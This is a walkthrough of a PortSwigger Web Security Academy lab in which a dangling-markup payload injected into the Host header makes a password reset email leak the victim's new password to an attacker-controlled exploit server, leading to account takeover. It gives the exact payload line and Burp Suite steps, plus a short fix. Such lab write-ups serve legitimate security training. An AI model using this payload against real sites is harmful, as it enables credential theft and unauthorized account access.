HTTP Host header attacks
PortSwigger Web Security Academy · Expert
- #Host header

Password Reset Poisoning via Dangling Markup
The vulnerability
The reset email contains the new password and a link built from the Host header. You can put an unfinished link into the port. The rest of the email, including the password, becomes part of that URL and is sent to your server.
Fix: Use a fixed domain for links in emails, and don’t send passwords by email.
The lab
This lab is vulnerable to password reset poisoning via dangling markup. To solve the lab, log in to Carlos’s account.
You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.
Solution
1. Test Password Reset Functionality: On the website, use the “Forgot password?” function for the user wiener. Go to the Exploit Server's email client and look at the email you receive. The email contains a temporary password, which is a key part of the password reset flow.
2. Intercept Password Reset Request: In Burp Suite’s Proxy → HTTP history, find the POST /forgot-password request and Send to Repeater.
3. Test for Host Header Vulnerability: In Repeater, change the Host header to an invalid domain (e.g., evil.com). The HTTP/2 504 Gateway Timeout indicates that the request is being handled by an external host. Now, add a random port behind the Host header (e.g., evil.com:8080). The HTTP/2 200 OK response confirms that the server behaves differently with a port, which suggests a possible bypass.
4. Inject Dangling Markup Payload: In Repeater, modify the Host header to inject a dangling markup payload that will close a legitimate HTML tag and open a new malicious one. The payload will point to the Exploit Server.
Host: 0aba0011033c292580ea033f00bf009b.web-security-academy.net:'<a href="//EXPLOIT-SERVER/?
This payload should result in an incomplete email, but it’s designed to be completed by the email body’s legitimate HTML to form a working <a> tag that sends the new password to the Exploit Server.
6. Exfiltrate Carlos’s Password: In Repeater, change the username parameter from wiener to carlos and send the request with the same payload in the Host header. Go to the Exploit Server and view the access logs. You will find a new entry where the password of the user carlos has been leaked in the URL.
7. Log in to Carlos’s Account: Log in to the application as the user carlos with the stolen password to solve the lab.